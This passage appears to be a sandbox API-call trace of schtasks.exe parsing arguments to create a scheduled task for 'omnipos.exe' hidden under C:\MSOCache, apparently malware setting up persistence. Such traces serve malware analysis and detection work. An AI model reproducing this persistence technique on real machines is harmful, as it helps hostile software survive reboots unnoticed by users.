Size=0x9c) returned 0x1f1146c3b90 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] lstrlenW (lpString="'C") returned 2 [0114.116] lstrlenW (lpString="-/") returned 2 [0114.117] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0114.117] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.117] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.117] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.117] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.117] GetProcessHeap () returned 0x1f1146c0000 [0114.117] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x9a) returned 0x1f1146c3c40 [0114.117] GetProcessHeap () returned 0x1f1146c0000 [0114.117] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb730 [0114.117] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.117] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.117] lstrlenW (lpString="/f") returned 2 [0114.117] lstrlenW (lpString="-/") returned 2 [0114.117] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.117] lstrlenW (lpString="?") returned 1 [0114.117] lstrlenW (lpString="?") returned 1 [0114.117] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.117] lstrlenW (lpString="f") returned 1 [0114.117] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.117] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|?|") returned 3 [0114.117] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.117] lstrlenW (lpString="|?|") returned 3 [0114.117] lstrlenW (lpString="|f|") returned 3 [0114.117] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0114.117] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.117] lstrlenW (lpString="create") returned 6 [0114.117] lstrlenW (lpString="create") returned 6 [0114.117] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.117] lstrlenW (lpString="f") returned 1 [0114.118] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.118] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.118] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.118] lstrlenW (lpString="|create|") returned 8 [0114.118] lstrlenW (lpString="|f|") returned 3 [0114.118] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0114.118] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.118] lstrlenW (lpString="delete") returned 6 [0114.118] lstrlenW (lpString="delete") returned 6 [0114.118] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.118] lstrlenW (lpString="f") returned 1 [0114.118] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.118] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|delete|") returned 8 [0114.118] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.118] lstrlenW (lpString="|delete|") returned 8 [0114.118] lstrlenW (lpString="|f|") returned 3 [0114.118] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0114.118] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.118] lstrlenW (lpString="query") returned 5 [0114.118] lstrlenW (lpString="query") returned 5 [0114.118] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.118] lstrlenW (lpString="f") returned 1 [0114.118] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.119] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|query|") returned 7 [0114.119] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.119] lstrlenW (lpString="|query|") returned 7 [0114.119] lstrlenW (lpString="|f|") returned 3 [0114.119] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0114.119] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.119] lstrlenW (lpString="change") returned 6 [0114.119] lstrlenW (lpString="change") returned 6 [0114.119] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.119] lstrlenW (lpString="f") returned 1 [0114.119] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.123] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|change|") returned 8 [0114.123] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.123] lstrlenW (lpString="|change|") returned 8 [0114.123] lstrlenW (lpString="|f|") returned 3 [0114.123] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0114.123] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.123] lstrlenW (lpString="run") returned 3 [0114.123] lstrlenW (lpString="run") returned 3 [0114.123] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.123] lstrlenW (lpString="f") returned 1 [0114.123] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.123] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|run|") returned 5 [0114.123] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.123] lstrlenW (lpString="|run|") returned 5 [0114.123] lstrlenW (lpString="|f|") returned 3 [0114.123] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0114.123] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.123] lstrlenW (lpString="end") returned 3 [0114.123] lstrlenW (lpString="end") returned 3 [0114.123] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.123] lstrlenW (lpString="f") returned 1 [0114.123] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.123] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|end|") returned 5 [0114.123] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.123] lstrlenW (lpString="|end|") returned 5 [0114.123] lstrlenW (lpString="|f|") returned 3 [0114.123] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] lstrlenW (lpString="showsid") returned 7 [0114.124] lstrlenW (lpString="showsid") returned 7 [0114.124] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.124] lstrlenW (lpString="f") returned 1 [0114.124] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.124] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|showsid|") returned 9 [0114.124] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|f|") returned 3 [0114.124] lstrlenW (lpString="|showsid|") returned 9 [0114.124] lstrlenW (lpString="|f|") returned 3 [0114.124] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] lstrlenW (lpString="/f") returned 2 [0114.124] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] lstrlenW (lpString="/f") returned 2 [0114.124] GetProcessHeap () returned 0x1f1146c0000 [0114.124] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x6) returned 0x1f1146cbda0 [0114.124] GetProcessHeap () returned 0x1f1146c0000 [0114.124] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb7f0 [0114.124] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.124] GetProcessHeap () returned 0x1f1146c0000 [0114.124] GetProcessHeap () returned 0x1f1146c0000 [0114.124] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c43c0) returned 1 [0114.124] GetProcessHeap () returned 0x1f1146c0000 [0114.124] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c43c0) returned 0x8 [0114.124] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c43c0) returned 1 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb910) returned 1 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb910) returned 0x20 [0114.125] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb910) returned 1 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4740) returned 1 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4740) returned 0x12 [0114.125] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4740) returned 1 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cbb20) returned 1 [0114.125] GetProcessHeap () returned 0x1f1146c0000 [0114.125] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cbb20) returned 0x20 [0114.126] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cbb20) returned 1 [0114.126] GetProcessHeap () returned 0x1f1146c0000 [0114.126] GetProcessHeap () returned 0x1f1146c0000 [0114.126] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4760) returned 1 [0114.126] GetProcessHeap () returned 0x1f1146c0000 [0114.126] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4760) returned 0x8 [0114.126] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4760) returned 1 [0114.126] GetProcessHeap () returned 0x1f1146c0000 [0114.126] GetProcessHeap () returned 0x1f1146c0000 [0114.126] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb850) returned 1 [0114.126] GetProcessHeap () returned 0x1f1146c0000 [0114.126] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb850) returned 0x20 [0114.126] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb850) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4780) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4780) returned 0xe [0114.127] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4780) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb760) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb760) returned 0x20 [0114.127] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb760) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c47a0) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c47a0) returned 0x8 [0114.127] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c47a0) returned 1 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] GetProcessHeap () returned 0x1f1146c0000 [0114.127] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb940) returned 1 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb940) returned 0x20 [0114.128] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb940) returned 1 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c47c0) returned 1 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c47c0) returned 0x4 [0114.128] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c47c0) returned 1 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb5b0) returned 1 [0114.128] GetProcessHeap () returned 0x1f1146c0000 [0114.128] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb5b0) returned 0x20 [0114.129] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb5b0) returned 1 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c47e0) returned 1 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c47e0) returned 0x8 [0114.129] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c47e0) returned 1 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb6d0) returned 1 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb6d0) returned 0x20 [0114.129] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb6d0) returned 1 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c3c40) returned 1 [0114.129] GetProcessHeap () returned 0x1f1146c0000 [0114.129] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c3c40) returned 0x9a [0114.130] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c3c40) returned 1 [0114.130] GetProcessHeap () returned 0x1f1146c0000 [0114.130] GetProcessHeap () returned 0x1f1146c0000 [0114.130] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb730) returned 1 [0114.130] GetProcessHeap () returned 0x1f1146c0000 [0114.130] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb730) returned 0x20 [0114.130] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb730) returned 1 [0114.130] GetProcessHeap () returned 0x1f1146c0000 [0114.130] GetProcessHeap () returned 0x1f1146c0000 [0114.130] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cbda0) returned 1 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cbda0) returned 0x6 [0114.131] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cbda0) returned 1 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb7f0) returned 1 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb7f0) returned 0x20 [0114.131] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb7f0) returned 1 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4ee0) returned 1 [0114.131] GetProcessHeap () returned 0x1f1146c0000 [0114.131] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4ee0) returned 0x18 [0114.131] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4ee0) returned 1 [0114.132] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.132] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0114.132] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0114.132] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0114.132] RtlVerifyVersionInfo (VersionInfo=0xe718eac580, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0114.132] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.132] lstrlenW (lpString="create") returned 6 [0114.132] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0114.132] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.132] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.132] lstrlenW (lpString="create") returned 6 [0114.132] GetProcessHeap () returned 0x1f1146c0000 [0114.132] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb640 [0114.132] GetProcessHeap () returned 0x1f1146c0000 [0114.132] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146cab90 [0114.132] _memicmp (_Buf1=0x1f1146cab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.133] GetProcessHeap () returned 0x1f1146c0000 [0114.133] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x16) returned 0x1f1146cac90 [0114.133] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.133] _memicmp (_Buf1=0x1f1146c4c80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f1146c9b60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0114.133] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xe718eac6d8 | out: lpdwHandle=0xe718eac6d8) returned 0x76c [0114.133] GetProcessHeap () returned 0x1f1146c0000 [0114.133] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x776) returned 0x1f1146cbda0 [0114.133] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1f1146cbda0 | out: lpData=0x1f1146cbda0) returned 1 [0114.134] VerQueryValueW (in: pBlock=0x1f1146cbda0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xe718eac670, puLen=0xe718eac6d0 | out: lplpBuffer=0xe718eac670*=0x1f1146cc150, puLen=0xe718eac6d0) returned 1 [0114.134] _memicmp (_Buf1=0x1f1146c4c80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.134] _vsnwprintf (in: _Buffer=0x1f1146c9b60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xe718eac648 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0114.134] VerQueryValueW (in: pBlock=0x1f1146cbda0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xe718eac660, puLen=0xe718eac6c8 | out: lplpBuffer=0xe718eac660*=0x1f1146cbf80, puLen=0xe718eac6c8) returned 1 [0114.134] lstrlenW (lpString="schtasks.exe") returned 12 [0114.134] lstrlenW (lpString="schtasks.exe") returned 12 [0114.134] lstrlenW (lpString=".EXE") returned 4 [0114.134] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0114.134] lstrlenW (lpString="schtasks.exe") returned 12 [0114.134] lstrlenW (lpString=".EXE") returned 4 [0114.134] lstrlenW (lpString="schtasks") returned 8 [0114.134] lstrlenW (lpString="/create") returned 7 [0114.134] _memicmp (_Buf1=0x1f1146c4c80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.134] _vsnwprintf (in: _Buffer=0x1f1146c9b60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xe718eac648 | out: _Buffer="schtasks /create") returned 16 [0114.134] _memicmp (_Buf1=0x1f1146c4ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.134] GetProcessHeap () returned 0x1f1146c0000 [0114.134] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb9d0 [0114.134] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.134] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0114.134] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0114.134] GetProcessHeap () returned 0x1f1146c0000 [0114.134] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x30) returned 0x1f1146c3c40 [0114.135] _vsnwprintf (in: _Buffer=0x1f1146c38c0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xe718eac648 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0114.135] GetProcessHeap () returned 0x1f1146c0000 [0114.135] GetProcessHeap () returned 0x1f1146c0000 [0114.135] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cbda0) returned 1 [0114.135] GetProcessHeap () returned 0x1f1146c0000 [0114.135] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cbda0) returned 0x776 [0114.135] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cbda0) returned 1 [0114.135] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.135] GetThreadLocale () returned 0x409 [0114.135] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.135] lstrlenW (lpString="create") returned 6 [0114.135] GetThreadLocale () returned 0x409 [0114.135] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.135] lstrlenW (lpString="?") returned 1 [0114.135] GetThreadLocale () returned 0x409 [0114.135] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="s") returned 1 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="u") returned 1 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="p") returned 1 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="ru") returned 2 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="rp") returned 2 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="sc") returned 2 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="mo") returned 2 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="d") returned 1 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="m") returned 1 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="i") returned 1 [0114.136] GetThreadLocale () returned 0x409 [0114.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.136] lstrlenW (lpString="tn") returned 2 [0114.136] GetThreadLocale () returned 0x409 [0114.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.137] 